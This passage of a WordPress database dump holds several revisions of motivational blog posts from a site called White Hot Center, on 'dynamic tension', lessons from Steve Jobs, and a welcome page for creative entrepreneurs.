reconciliation.\r\n\r\n<strong>Living at the border.</strong>\r\n\r\nIn my view, the universe is for growth and expansion. Dynamic tension is natural and necessary for growth. If you’re not experiencing dynamic tension in your life that means your dead. Move past the known and grow into the unknown. Then, like the instructions on a bottle of shampoo–rinse and repeat.\r\n\r\nEssentially growth lives on the border where uncertainty and ambiguity are always present. As you experience more growth, your confidence and trust in the process strengthens and you discover living on the edge is where opportunity is found. Eventually, you’ll realize that the border is where you experience being more “alive”.\r\n\r\n<strong>Real choices, unlike convenient options, are always in tension.</strong>\r\n\r\nEvery dynamic tension will lead to moment of choice– grow or stay at an impasse. The tension evaporates when a choice that involves growth is made. On the other hand, if you resign yourself to a choice of staying put, you’ll continue to experience ever-greater tension since you’ve decided to buck the direction everything is headed.\r\n\r\nThe choice to grow is the authentic choice.  Authentic choices are not random or arbitrary. They come from our deepest life interests, our motivations, and the themes and events we have experienced thus far. Dynamic tension leads to an opportunity for more authentic choices. You''ll recognize the authentic choice because yo will sense being pulled rather than pushed. These choices are not convenient compromises. They come from the depths of the heart and require a price be paid.\r\n\r\n<strong>In the end, dynamic tension fuels the leap into defining a more meaningful path forward out of the impasse and into a more rewarding and fulfilling life.</strong>', 'Wrestling with opposing forces.', 0, '', 'inherit', 'open', 'open', '', '1735-revision-13', '', '', '2011-07-24 13:15:11', '2011-07-24 20:15:11', '', 1735, 'http://www.whitehotcenter.com/uncategorized/1735-revision-13/', 0, 'revision', '', 0);
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(1751, 2, '2011-07-24 13:15:18', '2011-07-24 20:15:18', '<img class="alignnone size-full wp-image-1745" title="sumu-wrestlers" src="http://whc.fbdev.org/wp-content/uploads/2011/07/sumu-wrstlers.jpg" alt="" width="490" height="315" />\r\n<h1><span style="color: #888888;">Dynamic tension is the experience of wrestling with opposing forces. These forces are centered in wanting to experience opposing desires all in the same moment. To move forward, one must prevail over the other.\r\n</span></h1>\r\nAs humans, we all possess certain characteristics, motivations and themes in our life that seem at odds with each other. If you find yourself stuck or moving sideways, take a deep hard look at the dynamic tensions you are experiencing in your life.\r\n\r\nHere are some examples:\r\n\r\n<strong>• creative freedom vs. financial security</strong>\r\n\r\n<strong>• working independently vs. being a member of a team</strong>\r\n\r\n<strong>• individual control vs. partnership</strong>\r\n\r\n<strong>• automony vs. support and security</strong>\r\n\r\n<strong>• family vs. career</strong>\r\n\r\n<strong>• living where you want vs. living where you work</strong>\r\n\r\nYou get the idea. Dynamic tension is the messy middle where you are not fully committed. It’s the state of being where you are fighting with yourself because you desire to experience multiple realities at the same time. You find yourself at an impasse over which pole to favor. It’s madness, but it’s also a zone of empowerment and creativity if you choose to perceive it that way.\r\n\r\nWhen you’re fighting the opposing forces of your desire, the tension you experience provides a lot of power and energy to trust yourself more deeply, and choosing more authentically. If you study my list of dynamic tensions, you’ll see the pattern of risk and freedom vs. fear and doubt. The charge that runs through each pole is an important source of life energy. You’ll need all the energy you can muster to move toward your bigger better future, and break the gravity of your desire for comfort, stability and security.\r\n<h2>When you feel the “tension” that’s your cue you need to be moving forward creating something awesome and remarkable.</h2>\r\nIf you’re starting a business, and you highly desire and value individual control, it’s probably going to be difficult for you to acknowledge your “other” desire for partnership and collaboration.  Individual control is fear based, while collaboration supports freedom.\r\n\r\nThe ideal of the rugged individualist entrepreneur is an old paradigm. In this new century where ideas and innovation rule, collaboration is essential. To create a business where all your time is spent creating awesome stuff requires you have partners and collaborators. The tension demands reconciliation.\r\n\r\n<strong>Living at the border.</strong>\r\n\r\nIn my view, the universe is for growth and expansion. Dynamic tension is natural and necessary for growth. If you’re not experiencing dynamic tension in your life that means your dead. Move past the known and grow into the unknown. Then, like the instructions on a bottle of shampoo–rinse and repeat.\r\n\r\nEssentially growth lives on the border where uncertainty and ambiguity are always present. As you experience more growth, your confidence and trust in the process strengthens and you discover living on the edge is where opportunity is found. Eventually, you’ll realize that the border is where you experience being more “alive”.\r\n\r\n<strong>Real choices, unlike convenient options, are always in tension.</strong>\r\n\r\nEvery dynamic tension will lead to moment of choice– grow or stay at an impasse. The tension evaporates when a choice that involves growth is made. On the other hand, if you resign yourself to a choice of staying put, you’ll continue to experience ever-greater tension since you’ve decided to buck the direction everything is headed.\r\n\r\nThe choice to grow is the authentic choice.  Authentic choices are not random or arbitrary. They come from our deepest life interests, our motivations, and the themes and events we have experienced thus far. Dynamic tension leads to an opportunity for more authentic choices. You''ll recognize the authentic choice because yo will sense being pulled rather than pushed. These choices are not convenient compromises. They come from the depths of the heart and require a price be paid.\r\n\r\n<strong>In the end, dynamic tension fuels the leap into defining a more meaningful path forward out of the impasse and into a more rewarding and fulfilling life.</strong>', 'Wrestling with opposing forces.', 0, '', 'inherit', 'open', 'open', '', '1735-revision-14', '', '', '2011-07-24 13:15:18', '2011-07-24 20:15:18', '', 1735, 'http://www.whitehotcenter.com/uncategorized/1735-revision-14/', 0, 'revision', '', 0),
(1752, 2, '2011-07-24 13:19:35', '2011-07-24 20:19:35', '<img class="alignnone size-full wp-image-1745" title="sumu-wrestlers" src="http://whc.fbdev.org/wp-content/uploads/2011/07/sumu-wrstlers.jpg" alt="" width="490" height="315" />\r\n<h1><span style="color: #888888;">Dynamic tension is the experience of wrestling with opposing forces. These forces are centered in wanting to experience opposing desires all in the same moment. To move forward, one must prevail over the other.\r\n</span></h1>\r\nAs humans, we all possess certain characteristics, motivations and themes in our life that seem at odds with each other. If you find yourself stuck or moving sideways, take a deep hard look at the dynamic tensions you are experiencing in your life.\r\n\r\nHere are some examples:\r\n\r\n<strong>• creative freedom vs. financial security</strong>\r\n\r\n<strong>• working independently vs. being a member of a team</strong>\r\n\r\n<strong>• individual control vs. partnership</strong>\r\n\r\n<strong>• automony vs. support and security</strong>\r\n\r\n<strong>• family vs. career</strong>\r\n\r\n<strong>• living where you want vs. living where you work</strong>\r\n\r\nYou get the idea. Dynamic tension is the messy middle where you are not fully committed. It’s the state of being where you are fighting with yourself because you desire to experience multiple realities at the same time. You find yourself at an impasse over which pole to favor. It’s madness, but it’s also a zone of empowerment and creativity if you choose to perceive it that way.\r\n\r\nWhen you’re fighting the opposing forces of your desire, the tension you experience provides a lot of power and energy to trust yourself more deeply, and choosing more authentically. If you study my list of dynamic tensions, you’ll see the pattern of risk and freedom vs. fear and doubt. The charge that runs through each pole is an important source of life energy. You’ll need all the energy you can muster to move toward your bigger better future, and break the gravity of your desire for comfort, stability and security.\r\n<h2>When you feel the “tension” that’s your cue you need to be moving forward creating something awesome and remarkable.</h2>\r\nIf you’re starting a business, and you highly desire and value individual control, it’s probably going to be difficult for you to acknowledge your “other” desire for partnership and collaboration.  Individual control is fear based, while collaboration supports freedom.\r\n\r\nThe ideal of the rugged individualist entrepreneur is an old paradigm. In this new century where ideas and innovation rule, collaboration is essential. To create a business where all your time is spent creating awesome stuff requires you have partners and collaborators. The tension demands reconciliation.\r\n\r\n<strong>Living at the border.</strong>\r\n\r\nIn my view, the universe is for growth and expansion. Dynamic tension is natural and necessary for growth. If you’re not experiencing dynamic tension in your life that means your dead. Move past the known and grow into the unknown. Then, like the instructions on a bottle of shampoo–rinse and repeat.\r\n\r\nEssentially growth lives on the border where uncertainty and ambiguity are always present. As you experience more growth, your confidence and trust in the process strengthens and you discover living on the edge is where opportunity is found. Eventually, you’ll realize that the border is where you experience being more “alive”.\r\n\r\n<strong>Real choices, unlike convenient options, are always in tension.</strong>\r\n\r\nEvery dynamic tension will lead to moment of choice– grow or stay at an impasse. The tension evaporates when a choice that involves growth is made. On the other hand, if you resign yourself to a choice of staying put, you’ll continue to experience ever-greater tension since you’ve decided to buck the direction everything is headed.\r\n\r\nThe choice to grow is the authentic choice.  Authentic choices are not random or arbitrary. They come from our deepest life interests, our motivations, and the themes and events we have experienced thus far. Dynamic tension leads to an opportunity for more authentic choices. You''ll recognize the authentic choice because you will sense being pulled rather than pushed. These choices are not convenient compromises. They come from the depths of the heart and require a price be paid.\r\n\r\n<strong>In the end, dynamic tension fuels the leap into defining a more meaningful path forward out of the impasse and into a more rewarding and fulfilling life.</strong>', 'Wrestling with opposing forces.', 0, '', 'inherit', 'open', 'open', '', '1735-revision-15', '', '', '2011-07-24 13:19:35', '2011-07-24 20:19:35', '', 1735, 'http://www.whitehotcenter.com/uncategorized/1735-revision-15/', 0, 'revision', '', 0),
(1753, 2, '2011-07-24 13:19:42', '2011-07-24 20:19:42', '<img class="alignnone size-full wp-image-1745" title="sumu-wrestlers" src="http://whc.fbdev.org/wp-content/uploads/2011/07/sumu-wrstlers.jpg" alt="" width="490" height="315" />\r\n<h1><span style="color: #888888;">Dynamic tension is the experience of wrestling with opposing forces. These forces are centered in wanting to experience opposing desires all in the same moment. To move forward, one must prevail over the other.\r\n</span></h1>\r\nAs humans, we all possess certain characteristics, motivations and themes in our life that seem at odds with each other. If you find yourself stuck or moving sideways, take a deep hard look at the dynamic tensions you are experiencing in your life.\r\n\r\nHere are some examples:\r\n\r\n<strong>• creative freedom vs. financial security</strong>\r\n\r\n<strong>• working independently vs. being a member of a team</strong>\r\n\r\n<strong>• individual control vs. partnership</strong>\r\n\r\n<strong>• automony vs. support and security</strong>\r\n\r\n<strong>• family vs. career</strong>\r\n\r\n<strong>• living where you want vs. living where you work</strong>\r\n\r\nYou get the idea. Dynamic tension is the messy middle where you are not fully committed. It’s the state of being where you are fighting with yourself because you desire to experience multiple realities at the same time. You find yourself at an impasse over which pole to favor. It’s madness, but it’s also a zone of empowerment and creativity if you choose to perceive it that way.\r\n\r\nWhen you’re fighting the opposing forces of your desire, the tension you experience provides a lot of power and energy to trust yourself more deeply, and choosing more authentically. If you study my list of dynamic tensions, you’ll see the pattern of risk and freedom vs. fear and doubt. The charge that runs through each pole is an important source of life energy. You’ll need all the energy you can muster to move toward your bigger better future, and break the gravity of your desire for comfort, stability and security.\r\n<h2>When you feel the “tension” that’s your cue you need to be moving forward creating something awesome and remarkable.</h2>\r\nIf you’re starting a business, and you highly desire and value individual control, it’s probably going to be difficult for you to acknowledge your “other” desire for partnership and collaboration.  Individual control is fear based, while collaboration supports freedom.\r\n\r\nThe ideal of the rugged individualist entrepreneur is an old paradigm. In this new century where ideas and innovation rule, collaboration is essential. To create a business where all your time is spent creating awesome stuff requires you have partners and collaborators. The tension demands reconciliation.\r\n\r\n<strong>Living at the border.</strong>\r\n\r\nIn my view, the universe is for growth and expansion. Dynamic tension is natural and necessary for growth. If you’re not experiencing dynamic tension in your life that means your dead. Move past the known and grow into the unknown. Then, like the instructions on a bottle of shampoo–rinse and repeat.\r\n\r\nEssentially growth lives on the border where uncertainty and ambiguity are always present. As you experience more growth, your confidence and trust in the process strengthens and you discover living on the edge is where opportunity is found. Eventually, you’ll realize that the border is where you experience being more “alive”.\r\n\r\n<strong>Real choices, unlike convenient options, are always in tension.</strong>\r\n\r\nEvery dynamic tension will lead to moment of choice– grow or stay at an impasse. The tension evaporates when a choice that involves growth is made. On the other hand, if you resign yourself to a choice of staying put, you’ll continue to experience ever-greater tension since you’ve decided to buck the direction everything is headed.\r\n\r\nThe choice to grow is the authentic choice.  Authentic choices are not random or arbitrary. They come from our deepest life interests, our motivations, and the themes and events we have experienced thus far. Dynamic tension leads to an opportunity for more authentic choices. You''ll recognize the authentic choice because you will sense being pulled rather than pushed. These choices are not convenient compromises. They come from the depths of the heart and require a price be paid.\r\n\r\n<strong>In the end, dynamic tension fuels the leap into defining a more meaningful path forward out of the impasse and into a more rewarding and fulfilling life.</strong>', 'Wrestling with opposing forces.', 0, '', 'inherit', 'open', 'open', '', '1735-revision-16', '', '', '2011-07-24 13:19:42', '2011-07-24 20:19:42', '', 1735, 'http://www.whitehotcenter.com/uncategorized/1735-revision-16/', 0, 'revision', '', 0),
(1754, 2, '2011-07-24 13:24:35', '2011-07-24 20:24:35', '<img class="alignnone size-full wp-image-1745" title="sumu-wrestlers" src="http://whc.fbdev.org/wp-content/uploads/2011/07/sumu-wrstlers.jpg" alt="" width="490" height="315" />\n<h1><span style="color: #888888;">Dynamic tension is the experience of wrestling with opposing forces. These forces are centered in wanting to experience opposing desires all in the same moment. To move forward, one must prevail over the other.\n</span></h1>\nAs humans, we all possess certain characteristics, motivations and themes in our life that seem at odds with each other. If you find yourself stuck or moving sideways, take a deep hard look at the dynamic tensions you are experiencing in your life.\n\nHere are some examples:\n\n<strong>• creative freedom vs. financial security</strong>\n\n<strong>• working independently vs. being a member of a team</strong>\n\n<strong>• individual control vs. partnership</strong>\n\n<strong>• automony vs. support and security</strong>\n\n<strong>• family vs. career</strong>\n\n<strong>• living where you want vs. living where you work</strong>\n\nYou get the idea. Dynamic tension is the messy middle where you are not fully committed. It’s the state of being where you are fighting with yourself because you desire to experience multiple realities at the same time. You find yourself at an impasse over which pole to favor. It’s madness, but it’s also a zone of empowerment and creativity if you choose to perceive it that way.\n\nWhen you’re fighting the opposing forces of your desire, the tension you experience provides a lot of power and energy to trust yourself more deeply, and choosing more authentically. If you study my list of dynamic tensions, you’ll see the pattern of risk and freedom vs. fear and doubt. The charge that runs through each pole is an important source of life energy. You’ll need all the energy you can muster to move toward your bigger better future, and break the gravity of your desire for comfort, stability and security.\n<h2>When you feel the “tension” that’s your cue you need to be moving forward creating something awesome and remarkable.</h2>\nIf you’re starting a business, and you highly desire and value individual control, it’s probably going to be difficult for you to acknowledge your “other” desire for partnership and collaboration.  Individual control is fear based, while collaboration supports freedom.\n\nThe ideal of the rugged individualist entrepreneur is an old paradigm. In this new century where ideas and innovation rule, collaboration is essential. To create a business where all your time is spent creating awesome stuff requires you have partners and collaborators. The tension demands reconciliation.\n\n<strong>Living at the border.</strong>\n\nIn my view, the universe is for growth and expansion. Dynamic tension is natural and necessary for growth. If you’re not experiencing dynamic tension in your life that means your dead. Move past the known and grow into the unknown. Then, like the instructions on a bottle of shampoo–rinse and repeat.\n\nEssentially growth lives on the border where uncertainty and ambiguity are always present. As you experience more growth, your confidence and trust in the process strengthens and you discover living on the edge is where opportunity is found. Eventually, you’ll realize that the border is where you experience being more “alive”.\n\n<strong>Real choices, unlike convenient options, are always in tension.</strong>\n\nEvery dynamic tension will lead to moment of choice– grow or stay at an impasse. The tension evaporates when a choice that involves growth is made. On the other hand, if you resign yourself to a choice of staying put, you’ll continue to experience ever-greater tension since you’ve decided to buck the direction everything is headed.\n\nThe choice to grow is the authentic choice.  Authentic choices are not random or arbitrary. They come from our deepest life interests, our motivations, and the themes and events we have experienced thus far. Dynamic tension leads to an opportunity for more authentic choices. You''ll recognize the authentic choice because you will sense being pulled rather than pushed. These choices are not convenient compromises. They come from the depths of the heart and require a price be paid.\n\n<strong>In the end, dynamic tension fuels the leap into defining a more meaningful path forward out of the impasse and into a more rewarding and fulfilling life.</strong>', 'Wrestling with opposing forces.', 0, '', 'inherit', 'open', 'open', '', '1735-autosave', '', '', '2011-07-24 13:24:35', '2011-07-24 20:24:35', '', 1735, 'http://www.whitehotcenter.com/uncategorized/1735-autosave/', 0, 'revision', '', 0),
(1773, 2, '2011-10-07 13:21:08', '2011-10-07 20:21:08', '<h1><img class="alignnone size-full wp-image-1774" title="stevejobs" src="http://whc.fbdev.org/wp-content/uploads/2011/10/stevejobs.jpg" alt="steve jobs" width="482" height="253" /><span style="color: #808080;">In thinking about the passing of Steve Jobs, it’s inspiring to be reminded there''s a little Steve in every one of us. All it takes is a personal decision to pursue a vision that matters to you with his level of unbridled passion and belief. And once that decision is made, never accept the status quo.\r\n</span></h1>\r\nThere is a great lesson and legacy gifted to us all by the life of Steve Jobs. No doubt, in the years to come, his incredible accomplishments will become mythic legend. But Steve Jobs was not special. He did not possess anything that is unavailable to any other human being. Perhaps even he would acknowledge this.\r\n\r\nThere’s a Steve Jobs in each of us. To celebrate his example and his legacy, here are some lessons from his life most noteworthy for our own businesses:\r\n\r\n<strong>Think different.</strong>\r\nThis mantra was the force that gathered all the necessary molecules that formed themselves into the greatest technology business the world has ever known. It’s more than an advertising slogan or a clever brand positioning idea. If you think like and follow the status quo, you’ll never discover the inner voice of your own true genius. More importantly, you must believe in your different thinking. Believing is seeing, not the other way around.\r\n\r\n<strong>Be curious.\r\n</strong>The key to innovation and business growth is curiousity. You have to appreciate and practice the discipline of being curious, asking questions, and questioning the answers that come up. To be innovative requires you bring things into the world that no one is asking for, but once realized, become the very things the world was waiting for. No one was asking for an iPad, now millions can’t live without it.\r\n\r\n<strong>Fail forward.</strong>\r\nThere is no such thing as failure. Failure is an idea you mentally buy into and then accept as a permanent circumstance. There are no permanent circumstances in the universe. There is only learning, growth and accomplishment. Everyone creates undesired results when they are creating anything. It is the nature of the creative process. Use your “failures” for your growth and expansion.\r\n\r\n<strong>Put your own “dent in the universe”.</strong>\r\nThis now famous Jobs expression can apply to everyone.  To do it, you have to give a shit about something that is deeply important to you and makes a big difference to others. Thinking differently has the natural effect of making a difference. Doing what matters to you–really matters–is how you make a difference and dent the universe.\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong> </strong>\r\n\r\n<strong>Don’t settle for good enough.</strong>\r\nIt’s easy to say something is good enough and then get it out the door. Lots of big and small businesses operate with this mentality. Take the money and run. But you’ll never be able to command premium prices when you settle for good enough. Today everything is good enough. Good enough=the same!\r\n\r\n<strong>Perfection is the enemy.</strong>\r\nAt some point in time, you have to get it out there. This means you have to “release” it to the world and learn from the feedback of the marketplace guiding you make your stuff better and better. Constant improvement, learning, tweaking and enhancing your products is how you grow. Nothing will be perfect–ever!  Not even the iPhone.\r\n\r\n<strong>Seek beauty and express it with simplicity.</strong>\r\nPeople love simple. Simple is always beautiful. Nothing simple is easy. It takes discernment to strip away the un-necessary and get to simplicity. If you make a product, make it beautiful, simple to understand and use. If you deliver a service, do so with humility, elegance and grace.\r\n\r\n<strong>Command a premium price.</strong>\r\nThe key to premium pricing lies in this timeless principle: provide more “use value” than you receive in “cash value”.  Think about this for a moment. When your customers value their experience with your product/service more than they value the money they exchange, you will never become a commodity.  Your products and services will be a badge of higher meaning and greater value. There must be a deep emotional connection between the product and the customer–far more important than its features or user benefits.\r\n\r\n<strong>Of course, not everyone will become a Steve Jobs. For those who consider these ideas,  it’s not impossible to create on the level of a Steve Jobs. His legacy may be the way he demonstrated just how possible the impossible really is. And for that, we should be grateful to him.  Thank you Steve Jobs for lighting the way.</strong>', 'There’s a little Steve Jobs in every one of us.', 0, '', 'publish', 'open', 'open', '', 'there%e2%80%99s-a-little-steve-jobs-in-every-one-of-us', '', '', '2011-10-07 13:21:08', '2011-10-07 20:21:08', '', 0, 'http://www.whitehotcenter.com/?p=1773', 0, 'post', '', 3),
(1761, 2, '2011-07-29 16:41:10', '2011-07-29 23:41:10', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h1>Inspiration for creative entrepreneurs at the early stages of their business growth to create a compelling vision for a bigger future, and turn possibilities into achievement.</h1>\r\nThe principles that guide the thinking and discussion here is detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Check that out first. From there, you’ll know if you’re in the right place or not. Whatever metrics you use to define your personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nLife success means different things and takes many forms for each of us. It’s my belief  success in life begins with the passion and freedom to pursue any idea that burns white-hot and deep within you. If you sense a burning desire within you, allow yourself to trust it and then get on with the business of bringing into the world.\r\n<h2>I write, podcast, speak and teach about the process of creating–transforming a formless idea within your mind into something valuable in the physical world.</h2>\r\nI’m fascinated with this process and the discipline it requires to persevere no matter what. And nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nFor nearly three decades, I''ve been an entrepreneur, marketing, communications and creative consultant serving business leaders in global companies and start-ups alike. My whole professional life has been engaged in helping to create desired outcomes.  Nothing brings me greater joy and fulfillment than sharing my knowledge and expertise to help you create the success you desire in business and life.\r\n\r\nI''ll be sharing ideas, strategies and tactics on personal and professional growth, leadership, lifestyle design, value creation and methods for creating greater demand for your products and services.  Oh yeah making lots of money (getting paid to be you) is an important part of our conversation.\r\n\r\nI hope you find the ideas presented here useful to your continued success. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly in your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a><a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong></strong></a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-29 16:41:10', '2011-07-29 23:41:10', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-118/', 0, 'revision', '', 0),
(1760, 2, '2011-07-29 16:32:54', '2011-07-29 23:32:54', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\nI’m delighted you’ve found your way to the White Hot Center. My intention and passion is to inspire creative entrepreneurs at the early stages of their business growth with ideas to create a compelling vision for a bigger future, and provide tools and resources to turn possibilities into achievement.\r\n\r\nThe principles that guide the thinking and discussion here is detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Check that out first. From there, you’ll know if you’re in the right place or not. Whatever metrics you use to define your personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nLife success means different things and takes many forms for each of us. It’s my belief  success in life begins with the passion and freedom to pursue any idea that burns white-hot and deep within you. If you sense a burning desire within you, allow yourself to trust it and then get on with the business of bringing into the world.\r\n<h2>I write, podcast, speak and teach about the process of creating–transforming a formless idea within your mind into something valuable in the physical world.</h2>\r\nI’m fascinated with this process and the discipline it requires to persevere no matter what. And nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nFor nearly three decades, I''ve been an entrepreneur, marketing, communications and creative consultant serving business leaders in global companies and start-ups alike. My whole professional life has been engaged in helping to create desired outcomes.  Nothing brings me greater joy and fulfillment than sharing my knowledge and expertise to help you create the success you desire in business and life.\r\n\r\nI''ll be sharing ideas, strategies and tactics on personal and professional growth, leadership, lifestyle design, value creation and methods for creating greater demand for your products and services.  Oh yeah making lots of money (getting paid to be you) is an important part of our conversation.\r\n\r\nI hope you ideas presented here useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a><a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong></strong></a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-29 16:32:54', '2011-07-29 23:32:54', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-117/', 0, 'revision', '', 0),
(1756, 2, '2011-07-03 10:31:54', '2011-07-03 17:31:54', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\n<h2><span style="color: #fb7a03;">Inspirational ideas that help early-stage entrepreneurs and solo professionals gain more clarity and confidence to pursue their best opportunities to create more impact, influence and income.</span></h2>\r\nI’m delighted that you have found your way to the White Hot Center. The purpose here is to provide inspiration, ideas and strategies that will help light the way along your road to creating a bigger future.\r\n<h2>The White Hot Center content serves early-stage entrepreneurs who seek knowledge and guidance within the areas of personal and  professional growth, lifestyle design, value  creation, innovation and business  development.</h2>\r\nCreating success is a life-long process of never  ending change, growth and expansion. When you''re burning bright  full-on from your white hot center, you engage life in all areas with greater wonder and enthusiasm. You  delight in continuously asking yourself–how far can I take my ideas?   That''s how I feel every time I am writing and sharing ideas and strategies here!  Indeed,  this space is a service to my fellow entrepreneurs, and a labor of love for me!\r\n\r\nMy philosophy of life success is detailed in the <strong><a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto</a></strong>. Check that out first. From there, you’ll know if you’re in the right place or not.<span style="color: #000000;"> Whatever metrics you use to define your personal success, you might relate to this simple idea from Bob Dylan:</span>\r\n\r\n<strong>"A person is a success if he gets up in the morning and goes to bed at night and in between does what he wants to do".</strong>\r\n\r\nFor many creative entrepreneurs, myself included, success is having the freedom to pursue whatever is your heart''s desire burning bright and white hot within you!\r\n\r\nI hope you find the ideas presented here to be useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">thomson@whitehotcenter.com</a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-03 10:31:54', '2011-07-03 17:31:54', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-113/', 0, 'revision', '', 0),
(1759, 2, '2011-07-29 16:23:01', '2011-07-29 23:23:01', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif"><img class="alignnone size-full wp-image-525" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.gif" alt="thomson-pic" width="450" height="285" /></a></h2>\r\nI’m delighted you’ve found your way to the White Hot Center. My intention and passion is to inspire creative entrepreneurs at the early stages of their business growth with ideas to create a compelling vision for a bigger future, and provide tools and resources to turn possibilities into achievement.\r\n\r\nThe principles that guide the thinking and discussion here is detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Check that out first. From there, you’ll know if you’re in the right place or not. Whatever metrics you use to define your personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nLife success means different things and takes many forms for each of us. It’s my belief your success in life begins with the passion and freedom to pursue any idea that burns white-hot and deep within you. If you sense a desire burning within you, allow yourself to trust it and then get on with the business of creating exactly what you want to experience. To do this requires a disciplined mind comfortable living out on the border of the known and unknown.\r\n<h2>I write, podcast, speak and teach about the process of creating–transforming a formless idea within your mind into something valuable in the physical world.</h2>\r\nI’m fascinated with this process and the discipline it requires to persevere no matter what. And nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nFor nearly three decades, I''ve been an entrepreneur, marketing, communications and creative consultant serving business leaders in global companies and start-ups alike. My whole professional life has been engaged in helping to create desired outcomes Nothing brings me greater joy and fulfillment than sharing my knowledge and expertise to help you create the success you desire in business and life.\r\n\r\nThe content is centered in the areas of personal and professional growth, leadership, lifestyle design, value creation and tactics for creating demand for your products and services.  Oh yeah making lots of money (getting paid to be you) is an important part of our conversation.\r\n\r\nI hope you find the ideas presented here to be useful. If you do, I invite you to subscribe to receive the White Hot Center posts and podcasts directly to your email. Your free subscription is a reward of trust. I hope to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts with all of us in the comments section. And please share these ideas with your colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a><a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong></strong></a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2011-07-29 16:23:01', '2011-07-29 23:23:01', '', 172, 'http://www.whitehotcenter.com/uncategorized/172-revision-116/', 0, 'revision', '', 0),
